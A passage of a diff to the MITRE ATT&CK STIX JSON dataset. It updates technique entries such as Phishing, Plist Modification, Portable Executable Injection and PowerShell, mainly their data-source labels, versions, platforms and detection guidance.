Lateral Movement.", "x_mitre_data_sources": [ - "Process monitoring", - "File monitoring" + "File: File Creation", + "File: File Modification", + "Process: Process Creation" ], "x_mitre_contributors": [ "Stefan Kanthak" @@ -22943,10 +24241,9 @@ "macOS" ], "x_mitre_data_sources": [ - "PowerShell logs", - "API monitoring", - "Process monitoring", - "Process command-line parameters" + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" ], "x_mitre_is_subtechnique": false }, @@ -22977,42 +24274,38 @@ "phase_name": "discovery" } ], - "modified": "2020-10-08T17:36:01.675Z", + "modified": "2021-03-30T12:29:56.512Z", "created": "2017-05-31T21:30:55.471Z", "x_mitre_is_subtechnique": false, "x_mitre_contributors": [ "Microsoft Threat Intelligence Center (MSTIC)" ], "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", "Linux", "macOS", - "Windows", - "Office 365", - "Azure AD", - "AWS", - "GCP", - "Azure", - "SaaS" + "Google Workspace" ], "x_mitre_permissions_required": [ "User" ], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_data_sources": [ - "Stackdriver logs", - "GCP audit logs", - "AWS CloudTrail logs", - "Azure activity logs", - "Office 365 account logs", - "API monitoring", - "Process monitoring", - "Process command-line parameters" + "Process: Process Creation", + "Command: Command Execution", + "Group: Group Enumeration", + "Group: Group Metadata", + "Application Log: Application Log Content" ], - "x_mitre_version": "2.2" + "x_mitre_version": "2.3" }, { "id": "attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", - "description": "Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.\n\nAdversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems or to gather credentials for use of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Phishing may also be conducted via third-party services, like social media platforms.", + "description": "Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.\n\nAdversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source.", "name": "Phishing", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -23028,6 +24321,16 @@ "external_id": "CAPEC-98", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/98.html" + }, + { + "source_name": "Microsoft Anti Spoofing", + "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide", + "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020." + }, + { + "source_name": "ACSC Email Spoofing", + "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf", + "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020." } ], "type": "attack-pattern", @@ -23037,28 +24340,26 @@ "phase_name": "initial-access" } ], - "modified": "2020-10-18T01:55:03.337Z", + "modified": "2021-04-14T14:38:43.211Z", "created": "2020-03-02T18:45:07.892Z", + "x_mitre_contributors": [ + "Philip Winther" + ], "x_mitre_platforms": [ "Linux", "macOS", "Windows", "SaaS", - "Office 365" + "Office 365", + "Google Workspace" ], - "x_mitre_detection": "Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nURL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nBecause most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.", + "x_mitre_detection": "Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nURL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nBecause most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.", "x_mitre_is_subtechnique": false, - "x_mitre_version": "2.0", + "x_mitre_version": "2.1", "x_mitre_data_sources": [ - "File monitoring", - "Packet capture", - "Web proxy", - "Email gateway", - "Mail server", - "Network intrusion detection system", - "Detonation chamber", - "SSL/TLS inspection", - "Anti-virus" + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" ] }, { @@ -23109,7 +24410,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Phishing for Information", - "description": "Before compromising a victim, adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code.\n\nAll forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.\n\nAdversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.", + "description": "Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code.\n\nAll forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.\n\nAdversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.", "id": "attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a", "type": "attack-pattern", "kill_chain_phases": [ @@ -23118,19 +24419,20 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-25T19:44:58.292Z", + "modified": "2021-04-15T03:43:13.134Z", "created": "2020-10-02T17:07:01.502Z", "x_mitre_contributors": [ + "Philip Winther", "Sebastian Salla, McAfee", "Robert Simmons, @MalwareUtkonos" ], "x_mitre_data_sources": [ - "Social media monitoring", - "Mail server", - "Email gateway" + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" ], - "x_mitre_detection": "Depending on the specific method of spearphishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed. Also consider enabling DMARC to verify the sender of emails.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nWhen it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.\n\nMonitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).", - "x_mitre_version": "1.0", + "x_mitre_detection": "Depending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nWhen it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.\n\nMonitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).", + "x_mitre_version": "1.1", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "PRE" @@ -23158,7 +24460,7 @@ }, { "created": "2020-01-24T20:02:59.149Z", - "modified": "2020-06-20T19:57:36.136Z", + "modified": "2021-03-30T00:51:59.629Z", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", @@ -23170,13 +24472,6 @@ } ], "type": "attack-pattern", - "id": "attack-pattern--6747daa2-3533-4e78-8fb8-446ebb86448a", - "description": "Adversaries may modify plist files to run a program during system boot or user login. Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). \n\nAdversaries can modify plist files to execute their code as part of establishing persistence. plists may also be used to elevate privileges since they may execute in the context of another user.(Citation: Sofacy Komplex Trojan) \n\nA specific plist used for execution at login is com.apple.loginitems.plist.(Citation: Methods of Mac Malware Persistence) Applications under this plist run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them.(Citation: Adding Login Items) Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). Some of these applications can open visible dialogs to the user, but they don\u2019t all have to since there is an option to \"hide\" the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method SMLoginItemSetEnabled can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1059/002) can do this as well. (Citation: Adding Login Items)", - "name": "Plist Modification", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], "external_references": [ { "source_name": "mitre-attack", @@ -23199,7 +24494,7 @@ "source_name": "Adding Login Items" }, { - "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.", "source_name": "Malware Persistence on OS X" }, @@ -23209,21 +24504,28 @@ "source_name": "OSX.Dok Malware" } ], - "x_mitre_platforms": [ - "macOS" + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "x_mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "x_mitre_detection": "File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \"Knock Knock\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\n\nAll the login items created via shared file lists are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area (and the corresponding file locations) should be monitored and allowed for known good applications. Otherwise, Login Items are located in Contents/Library/LoginItems within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items)\n\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Plist Modification", + "description": "Adversaries may modify plist files to run a program during system boot or user login. Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). \n\nAdversaries can modify plist files to execute their code as part of establishing persistence. plists may also be used to elevate privileges since they may execute in the context of another user.(Citation: Sofacy Komplex Trojan) \n\nA specific plist used for execution at login is com.apple.loginitems.plist.(Citation: Methods of Mac Malware Persistence) Applications under this plist run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them.(Citation: Adding Login Items) Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). Some of these applications can open visible dialogs to the user, but they don\u2019t all have to since there is an option to \"hide\" the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method SMLoginItemSetEnabled can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1059/002) can do this as well. (Citation: Adding Login Items)", + "id": "attack-pattern--6747daa2-3533-4e78-8fb8-446ebb86448a", + "x_mitre_version": "1.0", + "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User", "Administrator" ], - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0" + "x_mitre_detection": "File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \"Knock Knock\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\n\nAll the login items created via shared file lists are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area (and the corresponding file locations) should be monitored and allowed for known good applications. Otherwise, Login Items are located in Contents/Library/LoginItems within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items)\n\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.", + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Modification", + "Process: Process Creation" + ], + "x_mitre_platforms": [ + "macOS" + ] }, { "external_references": [ @@ -23274,19 +24576,23 @@ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" } ], - "modified": "2020-07-13T21:23:01.370Z", + "modified": "2021-04-20T20:12:34.422Z", "created": "2020-06-26T04:01:09.648Z", - "x_mitre_version": "1.0", + "x_mitre_version": "2.0", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "root" ], "x_mitre_detection": "Monitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nLook for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).", "x_mitre_data_sources": [ - "Authentication logs", - "File monitoring" + "File: File Modification", + "Logon Session: Logon Session Creation" ], "x_mitre_contributors": [ "Scott Knight, @sdotknight, VMware Carbon Black", @@ -23341,8 +24647,8 @@ ], "x_mitre_detection": "Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.", "x_mitre_data_sources": [ - "Netflow/Enclave netflow", - "Packet capture" + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow" ], "x_mitre_platforms": [ "Linux", @@ -23435,11 +24741,10 @@ ], "x_mitre_detection": "Monitor process API calls to AddMonitor.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. \n\nMonitor Registry writes to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)", "x_mitre_data_sources": [ - "File monitoring", - "API monitoring", - "DLL monitoring", - "Windows Registry", - "Process monitoring" + "File: File Creation", + "Process: OS API Execution", + "Module: Module Load", + "Windows Registry: Windows Registry Key Modification" ], "x_mitre_contributors": [ "Stefan Kanthak", @@ -23450,26 +24755,8 @@ ] }, { - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1055.002", - "url": "https://attack.mitre.org/techniques/T1055/002" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Endgame Process Injection July 2017" - } - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Portable Executable Injection", - "description": "Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Endgame Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. ", - "id": "attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662", - "type": "attack-pattern", + "created": "2020-01-14T01:27:31.344Z", + "modified": "2020-11-10T18:29:30.882Z", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", @@ -23480,24 +24767,42 @@ "phase_name": "privilege-escalation" } ], - "modified": "2020-06-20T22:19:58.813Z", - "created": "2020-01-14T01:27:31.344Z", - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Application control" + "type": "attack-pattern", + "id": "attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662", + "description": "Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. ", + "name": "Portable Executable Injection", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "x_mitre_data_sources": [ - "Process monitoring", - "API monitoring" + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1055.002", + "url": "https://attack.mitre.org/techniques/T1055/002" + }, + { + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "source_name": "Elastic Process Injection July 2017" + } ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.0", + "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", "x_mitre_permissions_required": [ "User" ], - "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Endgame Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", - "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": true, - "x_mitre_platforms": [ - "Windows" + "x_mitre_data_sources": [ + "Process: OS API Execution", + "Process: Process Access" + ], + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Application control" ] }, { @@ -23556,22 +24861,6 @@ "created": "2017-05-31T21:31:06.512Z" }, { - "created": "2020-03-09T13:48:55.078Z", - "modified": "2020-06-24T13:51:22.360Z", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "type": "attack-pattern", - "id": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", - "description": "Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).\n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)", - "name": "PowerShell", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], "external_references": [ { "source_name": "mitre-attack", @@ -23614,29 +24903,42 @@ "source_name": "FireEye PowerShell Logging 2016" } ], - "x_mitre_platforms": [ - "Windows" + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "x_mitre_contributors": [ - "Praetorian" + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "PowerShell", + "description": "Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).\n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)", + "id": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } ], - "x_mitre_data_sources": [ - "Windows event logs", - "Process monitoring", - "Process command-line parameters", - "PowerShell logs", - "Loaded DLLs", - "File monitoring", - "DLL monitoring" - ], - "x_mitre_detection": "If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nMonitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.", - "x_mitre_remote_support": true, + "modified": "2020-06-24T13:51:22.360Z", + "created": "2020-03-09T13:48:55.078Z", + "x_mitre_version": "1.0", + "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User", "Administrator" ], - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0" + "x_mitre_remote_support": true, + "x_mitre_detection": "If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nMonitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Module: Module Load", + "Process: Process Creation", + "Script: Script Execution" + ], + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_platforms": [ + "Windows" + ] }, { "external_references": [ @@ -23729,10 +25031,10 @@ ], "x_mitre_detection": "Locations where profile.ps1 can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include:\n\n* $PsHome\\Profile.ps1\n* $PsHome\\Microsoft.{HostProgram}_profile.ps1\n* $Home\\My Documents\\PowerShell\\Profile.ps1\n* $Home\\My Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1\n\nMonitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.", "x_mitre_data_sources": [ - "PowerShell logs", - "File monitoring", - "Process command-line parameters", - "Process monitoring" + "Process: Process Creation", + "Command: Command Execution", + "File: File Modification", + "File: File Creation" ], "x_mitre_contributors": [ "Allen DeRyke, ICE" @@ -23785,14 +25087,12 @@ "Network" ], "x_mitre_data_sources": [ - "VBR", - "MBR", - "Component firmware", - "Process monitoring", - "Disk forensics", - "EFI", - "BIOS", - "API monitoring" + "Command: Command Execution", + "Network Traffic: Network Connection Creation", + "Firmware: Firmware Modification", + "Driver: Driver Metadata", + "Process: OS API Execution", + "Drive: Drive Modification" ], "x_mitre_permissions_required": [ "Administrator", @@ -23853,11 +25153,11 @@ ], "x_mitre_detection": "Monitor process API calls to AddPrintProcessor and GetPrintProcessorDirectory. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to HKLM\\SYSTEM\\ControlSet001\\Control\\Print\\Environments\\\\[Windows architecture]\\Print Processors\\\\[user defined]\\\\Driver or HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Environments\\\\[Windows architecture]\\Print Processors\\\\[user defined]\\Driver as they pertain to print processor installations.\n\nMonitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not 